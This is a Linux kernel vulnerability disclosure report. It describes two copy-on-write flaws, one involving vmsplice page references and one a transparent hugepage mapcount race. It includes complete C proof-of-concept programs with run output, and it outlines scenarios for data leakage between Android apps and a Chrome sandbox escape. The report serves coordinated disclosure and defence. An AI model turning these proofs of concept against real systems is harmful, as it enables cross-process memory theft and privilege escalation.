Linux: CoW can wrongly grant write access (because of pinned references or THP bug) I've stumbled over two ways in which copy-on-write of anonymous memory after fork() is currently broken: Page references through the page refcount and a bug in THP logic. == Page refcount isn't being accounted for == This one's fairly straightforward: ``` $ cat vmsplice.c #define _GNU_SOURCE #include <stdio.h> #include <fcntl.h> #include <string.h> #include <stdlib.h> #include <err.h> #include <unistd.h> #include <sys/uio.h> #include <sys/mman.h> #include <sys/wait.h> #define SYSCHK(x) ({ \\ typeof(x) __res = (x); \\ if (__res == (typeof(x))-1) \\ err(1, \"SYSCHK(\" #x \")\"); \\ __res; \\ }) static void *data; static void child_fn(void) { int pipe_fds[2]; SYSCHK(pipe(pipe_fds)); struct iovec iov = {.iov_base = data, .iov_len = 0x1000 }; SYSCHK(vmsplice(pipe_fds[1], &iov, 1, 0)); SYSCHK(munmap(data, 0x1000)); sleep(2); char buf[0x1000]; SYSCHK(read(pipe_fds[0], buf, 0x1000)); printf(\"read string from child: %s\ \", buf); } int main(void) { if (posix_memalign(&data, 0x1000, 0x1000)) errx(1, \"posix_memalign()\"); strcpy(data, \"BORING DATA\"); pid_t child = SYSCHK(fork()); if (child == 0) { child_fn(); return 0; } sleep(1); strcpy(data, \"THIS IS SECRET\"); int status; SYSCHK(wait(&status)); } $ gcc -o vmsplice vmsplice.c && ./vmsplice read string from child: THIS IS SECRET $ ``` As you can see, the fork() child can read memory from the parent by grabbing a refcounted reference to a page with vmsplice(), then dropping the page from its pagetables. This is because the CoW fault handler grants the parent write access to the original page if its mapcount indicates that nobody else has it mapped. This could potentially have security implications in environments like Android, where (almost) all apps are forked from a common zygote process. In the following scenario, this would lead to data leakage between apps: - zygote writes to page X (ensuring that any preexisting CoW is broken) - zygote forks off an attacker-controlled child process C1 - C1 grabs page X into a pipe with vmsplice() - C1 drops its mapcount on page X - zygote forks off a victim child process C2 - zygote writes to page X (resolving CoW fault by duplicating the page) - C2 writes secret data to page X (resolving CoW fault by granting write access to the original page) - C1 reads secret data from the pipe However, so far I haven't managed to actually leak data from another app with this one. == THP mapcount check is racy == This one is somewhat more severe. Basically, there is a race between __split_huge_pmd_locked() and page_trans_huge_map_swapcount() that can cause the THP CoW fault path to ignore up to two other mappings if one other process is concurrently shattering its THP mapping. I think this may have been introduced in commit 6d0a07edd17c (\"mm: thp: calculate the mapcount correctly for THP pages during WP faults\"). page_trans_huge_map_swapcount() first looks at 4K mapcounts, then looks at the DoubleMap flag and the compound_mapcount(page). __split_huge_pmd_locked() can concurrently move references from the compound mapcount over to the 4K mapcounts. There are no common locks between the two. Therefore, essentially, page_trans_huge_map_swapcount() can observe the old state of the 4K mapcounts (which don't yet account for the other mapping) combined with the new state of the hugepage mapcount (which doesn't account for the other mapping anymore). It is possible for not just one, but two mappings to be ignored because of the DoubleMap flag: If page_trans_huge_map_swapcount() observes the old state of the 4K mapcounts, but the new state of the DoubleMap flag, it will incorrectly subtract 1 from the result in addition to not observing the mapcount of the __split_huge_pmd_locked() caller. Here is a PoC that demonstrates the issue with two mappings (testing in a KVM guest): ----------------------------------------------------------- user@vm:~/tmp/transhuge$ cat thp_munmap.c #include <sys/mman.h> #include <err.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/wait.h> #include <sys/eventfd.h> int main(void) { volatile char *mapping = mmap((void*)0x200000, 0x200000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); if (mapping == MAP_FAILED) err(1, \"mmap\"); *mapping = 1; system(\"cat /proc/$PPID/smaps | head -n40; echo =======================\"); int efd = eventfd(0, 0); unsigned long long iteration = 0; while (1) { iteration++; *mapping = 1; pid_t child = fork(); if (child == -1) err(1, \"fork\"); if (child == 0) { if (munmap((void*)(mapping+0x1000), 0x1f0000)) err(1, \"munmap\"); // wait for parent to tell us to measure and exit uint64_t dummy; if (eventfd_read(efd, &dummy)) err(1, \"eventfd_read\"); if (*mapping != 1) errx(1, \"broken cow: expected 1, got %hhd, in iteration %llu\", *mapping, iteration); //system(\"cat /proc/$PPID/smaps | head -n40; echo =======================\"); exit(0); } *mapping = 2; // tell child to continue if (eventfd_write(efd, 1)) err(1, \"eventfd_write\"); int status; if (waitpid(child, &status, 0) != child) err(1, \"waitpid\"); } } user@vm:~/tmp/transhuge$ gcc -o thp_munmap thp_munmap.c user@vm:~/tmp/transhuge$ ./thp_munmap 00200000-00400000 rw-p 00000000 00:00 0 Size: 2048 kB KernelPageSize: 4 kB MMUPageSize: 4 kB Rss: 2048 kB Pss: 2048 kB Shared_Clean: 0 kB Shared_Dirty: 0 kB Private_Clean: 0 kB Private_Dirty: 2048 kB Referenced: 2048 kB Anonymous: 2048 kB LazyFree: 0 kB AnonHugePages: 2048 kB [...] ======================= thp_munmap: broken cow: expected 1, got 2, in iteration 48580 thp_munmap: broken cow: expected 1, got 2, in iteration 239811 ^C user@vm:~/tmp/transhuge$ ----------------------------------------------------------- By relying on khugepaged, it is even possible to trigger this issue without explicit mm syscalls, just malloc(), fork() and free(), as long as the kernel is configured to automatically collapse hugepages with khugepaged (which seems to be the case e.g. on Debian): ----------------------------------------------------------- $ cat thp_malloc_large_nosleep.c #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdio.h> #include <stdint.h> #include <err.h> #include <sys/eventfd.h> #include <sys/poll.h> #include <sys/wait.h> int main(void) { int efd = eventfd(0, 0); char *a = malloc(0x1fe000); char *b = malloc(0x1fe000); printf(\"a = %p, b = %p\ \", a, b); printf(\"waiting for keypress...\ \"); // we want khugepaged to create a hugepage that // covers parts of `a` and `b` here while (1) { struct pollfd pollfd = {.fd = 0, .events = POLLIN}; if (poll(&pollfd, 1, 1000) == 1) break; memset(a, 'A', 0x1fe000); memset(b, 'B', 0x1fe000); } unsigned long long iteration = 0; while (1) { iteration++; a[0] = 1; pid_t child = fork(); if (child == -1) err(1, \"fork\"); if (child == 0) { // shatter hugepage free(b); // wait for parent to tell us to measure and exit uint64_t dummy; if (eventfd_read(efd, &dummy)) err(1, \"eventfd_read\"); if (a[0] != 1) printf(\"broken cow: expected 1, got %hhd, in iteration %llu\ \", a[0], iteration); exit(0); } // normally this should copy the hugepage (or fall back to // creating a 4K-page copy), but if we win the race it'll // write directly to the original page a[0] = 2; // tell child to continue if (eventfd_write(efd, 1)) err(1, \"eventfd_write\"); int status; if (waitpid(child, &status, 0) != child) err(1, \"waitpid\"); } } $ gcc -O2 -o thp_malloc_large_nosleep thp_malloc_large_nosleep.c $ ./thp_malloc_large_nosleep a = 0x7f49c2e28010, b = 0x7f49c2c29010 waiting for keypress... [wait until khugepaged has collapsed the page according to smaps, then press enter and wait] broken cow: expected 1, got 2, in iteration 333209 broken cow: expected 1, got 2, in iteration 703886 broken cow: expected 1, got 2, in iteration 850974 broken cow: expected 1, got 2, in iteration 1014706 broken cow: expected 1, got 2, in iteration 1137223 broken cow: expected 1, got 2, in iteration 1143961 broken cow: expected 1, got 2, in iteration 1176183 broken cow: expected 1, got 2, in iteration 1970669 ^C $ ----------------------------------------------------------- The three-process version of this is probably more interesting for local privilege escalation attacks (since you can gain write access to the memory of a process that is not participating in the race at all); however, it also has a much narrower race window: One process needs to go through the critical section of __split_huge_pmd_locked() while another one is stuck in this part of page_trans_huge_map_swapcount(): for (i = 0; i < HPAGE_PMD_NR; i++) { // race region begins with this atomic_read() in the // last iteration mapcount = atomic_read(&page[i]._mapcount) + 1; _total_mapcount += mapcount; if (map) { swapcount = swap_count(map[offset + i]); _total_swapcount += swapcount; } map_swapcount = max(map_swapcount, mapcount + swapcount); } unlock_cluster(ci); // race region ends with the PG_double_map test in here if (PageDoubleMap(page)) { map_swapcount -= 1; _total_mapcount -= HPAGE_PMD_NR; } mapcount = compound_mapcount(page); An attacker can't preempt the task here because it's holding a spinlock; but IRQs are on, so e.g. TLB flush IPIs from another thread can interrupt execution for quite some time. (But I haven't really figured out yet how accurately you could hit this race; according to some early experiments I've done, it looks like if you know the exact configuration of the system, you may be able to cause the TLB flush to happen in the race window with a probability around 0.3% or so, and then you'd need to additionally have __split_huge_pmd_locked() happen at the right time.) If an attacker could write a sufficiently fast attack for this issue, they might be able to use it to break out of e.g. the Chrome renderer sandbox on normal Linux desktop systems - Chrome on Linux creates untrusted renderers as child processes of a \"zygote\" process, which doesn't seem to be fully sandboxed, so an attacker controlling two of its children could potentially use this bug to cause memory corruption in the zygote. This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will become visible to the public. The scheduled disclosure date is 2020-08-25. Disclosure at an earlier date is possible if the bug has been fixed in Linux stable releases (per agreement with security@kernel.org folks). Found by: jannh@google.com